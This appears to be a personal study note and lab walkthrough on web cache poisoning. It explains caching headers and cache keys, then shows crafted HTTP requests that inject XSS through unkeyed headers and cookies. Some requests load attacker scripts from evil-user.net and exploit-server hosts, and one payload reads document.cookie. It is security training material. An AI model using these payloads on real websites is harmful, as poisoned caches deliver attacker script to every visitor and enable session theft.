# Web Cache Poisoning ###### `webSecurity` `cachePoisoning` [TOC] # Introduction & principle Web catch is a technique Attacker will find out the method to induce the back-end server response contain the malicious payload, which can attack other user who subsequently retrieve response. ![圖片](https://hackmd.io/_uploads/SkK90YyWR.png) 2018->Practical Web Cache Poisoning 2020->"Web Cache Entanglement: Novel Pathways to Poisoning" ## Web Cache work https://nitropack.io/blog/post/web-caching-beginners-guide Web caching can be defined as the process of storing copies of websites in different locations, known as web caches. ### Cache HIT - When a request retrieves data from the web cache, it's referred to as a "cache hit." ### Cache Miss - When the cache is unable to fulfill the request, it's called a "cache miss." ![](https://hackmd.io/_uploads/rJdCM88Wa.png) ## Cache Type ### Browser Caches (Private Cache ) ![圖片](https://hackmd.io/_uploads/Hkwiy91WA.png) Private cache store on user's device. ### Proxy Server Caches (Public Cache) Proxy servers are typically maintained by ISPs or Content Delivery Network (CDN) providers. CDN ![圖片](https://hackmd.io/_uploads/H1-xZ5k-C.png) CDN providers use managed panels to monitor and configure a proxy server across the world. ## Cache Header When it comes to web caching, headers play a crucial role in controlling cache behavior. ![](https://hackmd.io/_uploads/HJodvsIZT.png) ### Expires Header ![](https://hackmd.io/_uploads/HJdgl3UWp.png) ### Cache-Control Header `no-store`:This directive instructs the web cache not to store any response `no-cache` It tells the web cache that it must validate the cached content with the original server before serving it to the user. ![](https://hackmd.io/_uploads/H1atX2Ub6.png) `max-age` max-age decides how long the resource can be considered fresh before it needs to be re-downloaded or revalidated with the origin server. For example, `max-age=31536000` is the maximum value, which equals 1 year. `private` the response only can be stored on the private cache (browser cache) `public` the response can be stored in any intermediate cache, including proxy caches. `must-revalidate` The `must-revalidate` directive enforces revalidation. ## Cache Freshness and Validation In fact. the HTTP response usually set max-age =60 It allows the web cache can provide the response without connecting the back-end server.(unless there's a not-cache rule in place) Validation The web cache will ask the back-end server, if the temp store reponse is expire but it hash value is same the content and can i sent to the user expire reponse ? ![](https://hackmd.io/_uploads/ry5qMwDba.png) ### Validate header #### Last-modified and if-modified-since ![](https://hackmd.io/_uploads/SkaI4Pw-6.png) Last-modifed header allows put the validator in the initial response and then, web cache will send the request include if-modifed-since ask the orign server the resource havn't been updated ![](https://hackmd.io/_uploads/rye7BDvb6.png) #### Etag (Entity Tag) An ETag is like a unique fingerprint for specific version of a resource. When initial response is store in the web cache. After the web cache save the ETAG, it can can send the request to the back-end systems with `if-none-header` header. This header allow the cache if its ETag matches the ETag of the server. ### Cache key Cache key is pre-defined subset of the reqeust components. The pre-defined subset typically contian the reqeust url and the HTTP header. if the part of the reqeust that is not include in the cache key are said to be "unkeyed". ==Important== the web cache will ignore the other part of the request, excluding reqeuest path and headers) # Poison cache Impact The Impact of web cache attack dependent on the two factor. 1. the nature of malicious payload that can be store in the cache. Web acache is not a independent, it offen need to combine with other attack, such as inject attacks. 2. How many traffic on the web page We can write script to send malicious content repeatedly. Avoid malicious cache is expire --- # Construct Attack flow ## Identify First step: identifying the "unkeyed" part of the request We can inject malicious input unkeyed input fields and observing the resulting variations in responses. Unkeyed part is our inject point! ## Param Miner (Automatically Discovery Inject point) A parameter miner can be employed to automate the identification of unkeyed inputs, ![](https://hackmd.io/_uploads/ryiB0AO-6.png) >**Caution:** it is important to make sure that our requests all have a unique cache key so that they will only be served to us. ### Cache bruster A cache buster is technique used in cache poisoning testing to ensure each request includes a unique parameter makes the request unique. This unique request avoid interference with regular user of online website. Example: ``` GET /?meow=1 HTTP/2 ``` ## Obtaining Malicious Response form the back-end systems When the user input didn't property sanitized, can trigger the harmful payload in the response, then this is a potential entry point for web cache poisoning ## Get the malicious response from web cache After we have sucessfuly trigger harmful response by manipulating inputs, the next steps is to ensure the harmful response is stored in the web cache. ### Factors affecting the imapct of storing reponse in the web cache - File Extension - Content Type - Route - Status Code - Respone Header ![](https://hackmd.io/_uploads/Hy4b8ytZ6.png) Understanding and controlling these factors is crucial when dealing with web cache poisoning vulnerabilities. # Exploit ## web cache poisoning Arise flaws in the web design itself. Other times, it occurs because the website has been designed in a way that interacts with the web cache in a particular manner. ## Delivering the XSS payload if the response have to fetch the value of dynamic header. there is a chance to manipulate the header value to cause the cache poisoning ### X-forwarded-Host The X-forwarded-Host typically used to record initial domain name, providing the basic domain information for web applications. Example: ``` X-Forwarded-Host: meowhecker.com (request host domain) ``` Xss payload (Reflect~) ``` GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a."><script>alert(1)</script>" ``` Obtaining A harmful response from the server ``` HTTP/1.1 200 OK Cache-Control: public <meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" /> ``` It allow Attacker execute arbitrary Javascript in Victim's browser. ## Exploit unsafe handling of resource imports ``` GET / HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: evil-user.net User-Agent: Mozilla/5.0 Firefox/57.0 HTTP/1.1 200 OK <script src="https://evil-user.net/static/analytics.js"></script> ``` ## LAB-Web cache poisioning with an unkeyed header Cache miss(First Request) ![](https://hackmd.io/_uploads/SyOWJXYWp.png) Cache Hit ![](https://hackmd.io/_uploads/ByLzkmYZp.png) --- ![](https://hackmd.io/_uploads/S1H7uzFb6.png) ![](https://hackmd.io/_uploads/ryX1uztZp.png) ![](https://hackmd.io/_uploads/S11xuzF-p.png) ![](https://hackmd.io/_uploads/BkjpufFZa.png) ``` X-Forwarded-Host: zwrtxqvav5xuq82tt3 ``` ![](https://hackmd.io/_uploads/B1EzKMtbp.png) ![](https://hackmd.io/_uploads/SyITZXFZT.png) Create the Malisiout server replace malisiout js file ![](https://hackmd.io/_uploads/S1YeSQKWa.png) ![](https://hackmd.io/_uploads/HJlWSXYba.png) Posint the web cache cache miss -> cache hit (the response successfuly store in the cache) ![](https://hackmd.io/_uploads/S1d2NQF-p.png) ![](https://hackmd.io/_uploads/SyxHHmY-6.png) ## Exploit cookie Header (unkey) Suppose: if cache key contain the reqeust line and HTTP header, but not the cookie header. it's possible to resulting in cache posion! ``` GET /blog/post.php?mobile=1 HTTP/1.1 Host: innocent-website.com User-Agent: Mozilla/5.0 Firefox/57.0 Cookie: language=pl; Connection: close ``` ## LAB-Web cache poisoning with an unkeyed cookie Analysis: ![](https://hackmd.io/_uploads/SJlFWrFWp.png) ![](https://hackmd.io/_uploads/Hk_RJSF-a.png) ![](https://hackmd.io/_uploads/Sy5zerYba.png) In this situation, there probably have a reflected XSS ![](https://hackmd.io/_uploads/BkQnqBYZ6.png) Xss payload ``` fehost=123"-alert('meowhecker')-"456 ``` ![](https://hackmd.io/_uploads/r1aunSK-T.png) ![](https://hackmd.io/_uploads/S1t83rFb6.png) ![](https://hackmd.io/_uploads/S1QXaHKZa.png) ![](https://hackmd.io/_uploads/ryXAnrt-T.png) ![](https://hackmd.io/_uploads/HyiK2rtbp.png) ## Exploit-Multiple Headers ``` GET /random HTTP/1.1 Host: innocent-site.com X-Forwarded-Proto: http HTTP/1.1 301 moved permanently Location: https://innocent-site.com/random ``` X-Forwarded -> Elastic load blance -> host: record client IP -> proto: record using protocol between client and load balance or proxy -> port: record client port ## LAB web cache poisoning with multiple headers ![](https://hackmd.io/_uploads/SkjQ_Wqba.png) ![](https://hackmd.io/_uploads/rJ46Yb9Zp.png) ![](https://hackmd.io/_uploads/H1B45Wc-6.png) ![](https://hackmd.io/_uploads/rkVq9Wq-a.png) ![](https://hackmd.io/_uploads/Hytj5b5b6.png) ![](https://hackmd.io/_uploads/SkDa5-9ba.png) ``` X-Forwarded-Scheme: nothttps X-Forwarded-Host: /exploit-0adf000603bd28f68192fb5301c900c3.exploit-server.net ``` ![](https://hackmd.io/_uploads/Bkz0qbc-T.png) --- ## Exploiting response that expose too much information ## Cache-control header analysis To ensure the harmful response is stored the web cache, we can attempt to observer the response of Cache-Control Header. Example: ``` Cache-control: public max-age=30 or cache: miss cache: Hit ``` we can advantage of this information to construct the attack ofcuse on single user or specific group user. Example ``` User-Agent: ``` it allow us to posion spcific user agents or devices which could raise suspicions, the attacker can carefully time a single malicious request to poison the cache. ### Vary Header Varay Header is used to crate the cache key ``` vary: 'header-name', 'header-name' vary: 'User-Agent' ``` ## LAB Target web cache poisoning using know header ![](https://hackmd.io/_uploads/rkJKdM5WT.png) ![](https://hackmd.io/_uploads/Skx9gXq-p.png) ![](https://hackmd.io/_uploads/rkC3eX5Wa.png) ![](https://hackmd.io/_uploads/HJByMQqZa.png) ``` X-Host: ``` --- ![](https://hackmd.io/_uploads/BJ83b75Wp.png) ![](https://hackmd.io/_uploads/ByvGz7qZ6.png) ![](https://hackmd.io/_uploads/HJJDzX9-6.png) ![](https://hackmd.io/_uploads/SJItz7qWT.png) --- Get the spcific user agnet Not Work !! (是超九 ``` document.write('<img src="https://exploit-0ab4006a04fc7d248103f11101fc00c4.exploit-server.net/test" onerror =alert("trigger ")>meowwwwwwwwwwwwwwwwwwwwwww); alert(document.cookie); ``` ![](https://hackmd.io/_uploads/Bkdh0mqb6.png) Victim 沒辦法吃的posion response 是很正常 因為 User-agent 在cache key 中 (Vary: Usuer-Agent) --- Html injection in comment block ![](https://hackmd.io/_uploads/SJQkRv9bT.png) paylaod ``` <img src=https://exploit-server.net></img> ``` ![](https://hackmd.io/_uploads/SycbnX9ba.png) ![](https://hackmd.io/_uploads/ryLfsPqZa.png) ``` Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 ``` ``` GET / HTTP/1.1 .... X-Host: exploit-0adf0073032ca21f89b36d5f01fa00fa.exploit-server.net ... User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 ``` ![](https://hackmd.io/_uploads/SJXw2w9bp.png) ![](https://hackmd.io/_uploads/HkKm2vcbT.png) --- ## Exploit DOM-Based vulnerability (skip->CORS!!) ##